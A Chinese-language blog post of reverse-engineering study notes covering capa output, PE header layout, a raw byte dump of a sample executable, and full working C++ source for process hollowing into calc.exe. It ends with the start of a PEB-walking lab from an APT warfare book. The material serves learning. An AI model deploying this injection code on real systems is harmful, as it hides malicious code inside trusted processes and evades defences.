reverse engineer 1.1


Posted by nathan2009729 on 2023-04-29

aaa
玩一下一個工具叫capa,用windows的cmder:

C:\Users\exploit\Desktop
λ capa "C:\Users\exploit\Desktop\18HR-ReversingNinja\IDA Basic\BabyFirst.exe"
loading : 100%|██████████████████████████████████████████| 703/703 [00:02<00:00, 333.59 rules/s]
matching: 100%|███| 2625/2625 [01:04<00:00, 40.76 functions/s, skipped 7 library functions (0%)]
+------------------------+------------------------------------------------------------------------------------+
| md5                    | 35a3d1b2936d4360f7e81ab0ad3b81d1                                                   |
| sha1                   | 142e6aa9255032e61b42ee310b0ab2e3159087c2                                           |
| sha256                 | 598a462fc7dd2ca6f0b00391adb4c412a981d599abc5b9d529e5e2cd085d88fb                   |
| os                     | windows                                                                            |
| format                 | pe                                                                                 |
| arch                   | i386                                                                               |
| path                   | C:\Users\exploit\Desktop\18HR-ReversingNinja\IDA Basic\BabyFirst.exe               |
+------------------------+------------------------------------------------------------------------------------+

+------------------------+------------------------------------------------------------------------------------+
| ATT&CK Tactic          | ATT&CK Technique                                                                   |
|------------------------+------------------------------------------------------------------------------------|
| DEFENSE EVASION        | Obfuscated Files or Information T1027                                              |
|                        | Obfuscated Files or Information::Indicator Removal from Tools T1027.005            |
| EXECUTION              | Shared Modules T1129                                                               |
+------------------------+------------------------------------------------------------------------------------+

+-----------------------------+-------------------------------------------------------------------------------+
| MBC Objective               | MBC Behavior                                                                  |
|-----------------------------+-------------------------------------------------------------------------------|
| ANTI-STATIC ANALYSIS        | Disassembler Evasion::Argument Obfuscation [B0012.001]                        |
| CRYPTOGRAPHY                | Encrypt Data::RC4 [C0027.009]                                                 |
|                             | Generate Pseudo-random Sequence::RC4 PRGA [C0021.004]                         |
| DATA                        | Encode Data::XOR [C0026.002]                                                  |
| DEFENSE EVASION             | Obfuscated Files or Information::Encoding-Standard Algorithm [E1027.m02]      |
| FILE SYSTEM                 | Read File [C0051]                                                             |
|                             | Writes File [C0052]                                                           |
| MEMORY                      | Allocate Memory [C0007]                                                       |
| PROCESS                     | Allocate Thread Local Storage [C0040]                                         |
|                             | Check Mutex [C0043]                                                           |
|                             | Create Mutex [C0042]                                                          |
|                             | Set Thread Local Storage Value [C0041]                                        |
|                             | Terminate Process [C0018]                                                     |
+-----------------------------+-------------------------------------------------------------------------------+

+------------------------------------------------------+------------------------------------------------------+
| CAPABILITY                                           | NAMESPACE                                            |
|------------------------------------------------------+------------------------------------------------------|
| contain obfuscated stackstrings                      | anti-analysis/obfuscation/string/stackstring         |
| encode data using XOR                                | data-manipulation/encoding/xor                       |
| encrypt data using RC4 PRGA (2 matches)              | data-manipulation/encryption/rc4                     |
| contain a resource (.rsrc) section                   | executable/pe/section/rsrc                           |
| contain a thread local storage (.tls) section        | executable/pe/section/tls                            |
| read file on Windows (2 matches)                     | host-interaction/file-system/read                    |
| write file on Windows (4 matches)                    | host-interaction/file-system/write                   |
| print debug messages (3 matches)                     | host-interaction/log/debug/write-event               |
| check mutex and exit (4 matches)                     | host-interaction/mutex                               |
| allocate thread local storage                        | host-interaction/process                             |
| get thread local storage value (4 matches)           | host-interaction/process                             |
| set thread local storage value (4 matches)           | host-interaction/process                             |
| allocate RWX memory                                  | host-interaction/process/inject                      |
| link function at runtime on Windows                  | linking/runtime-linking                              |
| parse PE header (4 matches)                          | load-code/pe                                         |
| resolve function by parsing PE exports (26 matches)  | load-code/pe                                         |
+------------------------------------------------------+------------------------------------------------------+

capa函數可以補充程式行為,解決逆向者經驗不足的問題,IDA內也可以結合capa

使用PE-bear(是比較常用的軟體,靜態程式裡面怎麼使用資料結構)
DOS Header已棄用

各個section:

藍色代表執行以後偏移量

綠色代表在磁碟的偏移量

也可以用python爬出來PE裡的內容:

C:\Users\exploit\Desktop
λ ipython
Python 3.10.8 (tags/v3.10.8:aaaf517, Oct 11 2022, 16:50:30) [MSC v.1933 64 bit (AMD64)]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.5.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: cd C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic

In [2]: ls
 磁碟區 C 中的磁碟沒有標籤。
 磁碟區序號:  6409-9832

 C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic 的目錄

2022/10/18  下午 03:57    <DIR>          .
2022/10/18  下午 03:57    <DIR>          ..
2022/10/18  下午 07:43    <DIR>          hollowing
2022/10/18  下午 07:43    <DIR>          invokeInMem
2022/10/17  下午 10:08             2,690 Lab#1_fetchModule_byTEB.c
2022/10/17  下午 10:16             3,589 Lab#2_parseDynamicAPIs.c
2022/10/17  下午 10:26             5,686 msgbox.exe
               3 個檔案          11,965 位元組
               4 個目錄  28,774,006,784 位元組可用

In [3]: dt = open('msgbox.exe','rb').read()

In [4]: dt[:10]
Out[4]: b'MZ\x90\x00\x03\x00\x00\x00\x04\x00'

In [5]: dt[0x600:]
Out[5]: b'30cm.tw\x00Welcome! Binary Ninja :)\x00\x00\x00\x00GCC: (tdm64-1) 10.3.0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00L0\x00\x0000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0080\x00\x00\x00\x00\x00\x0080\x00\x00\x00\x00\x00\x00M\x02MessageBoxA\x00\x00\x00\x000\x00\x00USER32.dll\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x120\x1a0&0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.file\x00\x00\x00\n\x00\x00\x00\xfe\xff\x00\x00g\x01msgbox.cpp\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x012\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.rdata\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x01!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00$\x00\x00\x00\x02\x00\x00\x00\x03\x01\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.file\x00\x00\x00\x14\x00\x00\x00\xfe\xff\x00\x00g\x01fake\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00hname\x00\x00\x00(\x00\x00\x00\x03\x00\x00\x00\x03\x00fthunk\x00\x000\x00\x00\x00\x03\x00\x00\x00\x03\x00.text\x00\x00\x004\x00\x00\x00\x01\x00\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$2\x00\x00\x00\x00\x03\x00\x00\x00\x03\x01\x14\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$4(\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$50\x00\x00\x00\x03\x00\x00\x00\x03\x00.file\x00\x00\x00%\x00\x00\x00\xfe\xff\x00\x00g\x01fake\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x004\x00\x00\x00\x01\x00\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$4,\x00\x00\x00\x03\x00\x00\x00\x03\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$54\x00\x00\x00\x03\x00\x00\x00\x03\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$7L\x00\x00\x00\x03\x00\x00\x00\x03\x01\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00.data\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00.bss\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00.idata$7H\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$50\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$4(\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$68\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x1c\x00\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00T\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00c\x00\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00r\x00\x00\x00L\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00__xl_f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x9b\x00\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\xaf\x00\x00\x00@\x01\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xc7\x00\x00\x00\x00\x10\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00 \x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x16\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00:\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00J\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00X\x01\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00{\x01\x00\x00\x00\x10\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x93\x01\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xa3\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\xb5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00__dll__\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xc5\x01\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xda\x01\x00\x00\x00\x00@\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xe9\x01\x00\x00\x00\x10\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xff\x01\x00\x008\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\x0b\x02\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00)\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x006\x02\x00\x004\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00D\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00P\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00`\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00r\x02\x00\x004\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x81\x02\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x94\x02\x00\x000\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\xaa\x02\x00\x00\x00\x02\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xbd\x02\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xd2\x02\x00\x000\x00\x00\x00\x03\x00\x00\x00\x02\x00__end__\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\xe0\x02\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\xee\x02\x00\x00\x00\x00\x10\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x07\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x19\x03\x00\x00\x00\x00@\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00&\x03\x00\x00\x03\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x004\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00A\x03\x00\x00\x01\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00Y\x03\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00j\x03\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00myEntry\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00|\x03\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x98\x03\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xb0\x03\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\xd2\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xe2\x03\x00\x00__Z7myEntryv\x00.rdata$zzz\x00___RUNTIME_PSEUDO_RELOC_LIST__\x00__head_lib32_libuser32_a\x00__data_start__\x00___DTOR_LIST__\x00__lib32_libuser32_a_iname\x00___tls_start__\x00__rt_psrelocs_start\x00__dll_characteristics__\x00__size_of_stack_commit__\x00__size_of_stack_reserve__\x00__major_subsystem_version__\x00___crt_xl_start__\x00___crt_xi_start__\x00___crt_xi_end__\x00__bss_start__\x00___RUNTIME_PSEUDO_RELOC_LIST_END__\x00__size_of_heap_commit__\x00_MessageBoxA@16\x00___crt_xp_start__\x00___crt_xp_end__\x00__minor_os_version__\x00__image_base__\x00__section_alignment__\x00__IAT_end__\x00__RUNTIME_PSEUDO_RELOC_LIST__\x00__data_end__\x00__CTOR_LIST__\x00__bss_end__\x00___crt_xc_end__\x00___crt_xc_start__\x00___CTOR_LIST__\x00__rt_psrelocs_size\x00__imp__MessageBoxA@16\x00__file_alignment__\x00__major_os_version__\x00__IAT_start__\x00__DTOR_LIST__\x00__size_of_heap_reserve__\x00___crt_xt_start__\x00___ImageBase\x00__subsystem__\x00___tls_end__\x00__major_image_version__\x00__loader_flags__\x00__rt_psrelocs_end\x00__minor_subsystem_version__\x00__minor_image_version__\x00__RUNTIME_PSEUDO_RELOC_LIST_END__\x00___crt_xt_end__\x00

上圖(圖1)只有PointerToRawData跟VirtualAddress重要

圖2:

以下的程式碼實際應用了上圖的概念,使得惡意程式可注入windows內建計算機

比如說

SectionHeader = &PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(IMAGE_NT_HEADERS))[count];

可以看得出來是幾個header(text、data、idata)乘上每一個的大小。

NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

上一行,NtHeader除了現代程式用的NT header外,還有DOS header,所以也沒錯。

if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current

CREATE_SUSPEND可以創建 (blackhat 2013)把小算盤叫出來

file mapping 檔案映射

把靜態程式碼掛到動態記憶體

白話:

從硬碟裡的哪一個地方,寫到記憶體的哪一個地方?

NT Headers的opt header 程式執行起來必備的資訊

ex:

想被擺的記憶體位置(ImageBase 通常是0x400000或0x800000)

整塊程式要擺多大SizeOfImage(text + data + idata)

NT Headers的file header 紀錄幾個section

檔案映射的濫用: processHollowing.cpp

可以注入windows的小算盤,彈出駭客寫的視窗,以下示意圖:

程式碼:

// processHollowing.cpp : 此檔案包含 'main' 函式。程式會於該處開始執行及結束執行。
//

#include <iostream>
#include <Windows.h>

int RunPortableExecutable(void* Image)
{
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase; //Base address of the image
    void* pImageBase; // Pointer to the image base

    int count;
    char CurrentFilePath[1024] = "C:\\Windows\\SysWOW64\\calc.exe";

    DOSHeader = (IMAGE_DOS_HEADER*)(Image); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        ZeroMemory(&PI, sizeof(PI)); // Null the memory
        ZeroMemory(&SI, sizeof(SI)); // Null the memory

        if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
            CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
            //process in suspended state, for the new image.
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
            {
                // Read instructions
                ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
                //HMODULE dll = LoadLibraryA("ntdll.dll");
                ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection"))(PI.hProcess, (LPVOID)NtHeader->OptionalHeader.ImageBase);
                pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
                    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                if (pImageBase == 0) {
                    TerminateProcess(PI.hProcess, 0);
                    return 0;
                }

                // Write the image to the process
                WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);

                for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                {
                    SectionHeader = &PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(IMAGE_NT_HEADERS))[count];
                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
                        LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                }
                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), PVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                // Move address of entry point to the eax register
                CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                ResumeThread(PI.hThread); //´Start the process/call main()

                return 0; // Operation was successful.
            }
        }
    }
}
#pragma warning(disable:4996)
BYTE* MapFileToMemory(const char filename[])
{
    FILE *fileptr;
    BYTE *buffer;

    fileptr = fopen(filename, "rb");  // Open the file in binary mode
    fseek(fileptr, 0, SEEK_END);          // Jump to the end of the file
    long filelen = ftell(fileptr);             // Get the current byte offset in the file
    rewind(fileptr);                      // Jump back to the beginning of the file

    buffer = (BYTE *)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0
    fread(buffer, filelen, 1, fileptr); // Read in the entire file
    fclose(fileptr); // Close the file

    return buffer;
}

#include <Shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
int CALLBACK WinMain(
    _In_ HINSTANCE hInstance,
    _In_ HINSTANCE hPrevInstance,
    _In_ LPSTR     lpCmdLine,
    _In_ int       nCmdShow
)
{
    char path[MAX_PATH] = { 0 };
    GetModuleFileNameA(NULL, path, MAX_PATH);

    if (strstr(path, "calc.exe")) {
        MessageBoxA(0, "Hey, I'm into calc :)", path, 0);
        return 0;
    }

    RunPortableExecutable(MapFileToMemory(path));
    return 0;
}

x32dbg ctrl+g可尋找位置


其實PEB是double linked list。重要的是Ldr,是想載入的dll,這裡載入了ntdll.dll跟kernel32.dll。還有,sysWOW64是64位元作業系統要執行32位元程式會用到的資料夾。

C:\Windows\SysWOW64

以下Lab#1_fetchModule_byTEB.c對應上圖的概念:

/**
 * Windows APT Warfare:
 * A Final Survival Guide for Cyberwarfare
 * by aaaddress1@chroot.org
 */
#include <stdio.h>
#include <wchar.h>
#include <windows.h>

typedef struct _PEB_LDR_DATA {
    ULONG Length;
    UCHAR Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

